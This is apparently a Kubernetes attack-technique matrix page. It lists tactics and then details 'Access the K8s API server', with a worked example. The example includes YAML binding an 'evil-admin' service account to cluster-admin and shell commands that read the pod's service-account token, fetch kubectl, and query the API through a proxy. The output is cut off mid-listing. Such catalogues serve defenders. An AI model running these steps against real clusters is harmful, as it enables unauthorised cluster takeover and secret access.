Initial access Execution Persistence Privilege escalation Defense evasion Credential access Discovery Lateral movement Collection Impact
Using Cloud Exec into Container Backdoor Container Privileged Container Clear Container Logs List K8s secrets Access the K8s API server Access cloud resources Images from a private repository Data Destruction
Compromised images in registry bash/cmd in container Writable hostPath mount Cluster-admin binding Delete k8s events Mount service principal Access Kubelet API Container service account Ressource hijacking
Kubeconfig file New container Kubernetes CronJob hostPath mount Pod / container name similarity Access container service account Network mapping Cluster internal networking Denial of Service
Application vulnerability Application exploit (RCE) Malicious admission controller Access cloud resources Connect from proxy server Applications credentials in configuration files Access Kubernetes dashboard Applications credentials in configuration files
Exposed sensitive interfaces SSH server running in inside container Disable Namespacing Access managed identity credentials Instance metadata API Writable volume mounts on the host
Sidecar injection Malicious admission controller CoreDNS poisoning
ARP poisoning and IP spoofing

Access the K8s API server

The Kubernetes API server is the gateway to the cluster. Actions in the cluster are performed by sending various requests to the RESTful API. The status of the cluster, which includes all the components that are deployed on it, can be retrieved by the API server. Attackers may send API requests to probe the cluster and get information about containers, secrets, and other resources in the cluster.

Example

First we create a high-privileged ServiceAccount like in “Cluster-admin binding for this technique, the privileges can vary and depending on it we can access and modify different information from the Kubernetes API.

apiVersion: v1
kind: ServiceAccount
metadata:
  name: evil-admin
  namespace: default
---
kind: RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: evil-admin-binding
  namespace: default
subjects:
  - kind: ServiceAccount
    name: evil-admin
    namespace: default
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io

Next we can start a Pod which uses the evil-admin ServiceAccount that we’ve created above. Then we download and configure kubectl and start the local proxy so we can use curl to access the Kubernetes API.

$ kubectl run access-k8s-api --rm -it  --image=alpine --overrides='{ "spec": { "serviceAccount": "evil-admin" }  }' -- ash
/ # API_SERVER="https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT"
/ # CA_CRT="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"
/ # TOKEN="$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
/ # apk update && apk add curl
/ # # For the following command please make sure you're using the correct system architecture (e.g. when using on Apple Silicon use arm64 instead of amd64)
/ # curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
/ # install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
/ # kubectl proxy --server="$API_SERVER" --certificate-authority="$CA_CRT" --token="$TOKEN" --accept-paths='^.*' &
/ # curl localhost:8001/api/v1/namespaces/default/pods
{
  "kind": "PodList",
  "apiVersion": "v1",
  "metadata": {
    "resourceVersion": "1408"
  },
  "items": [
  ...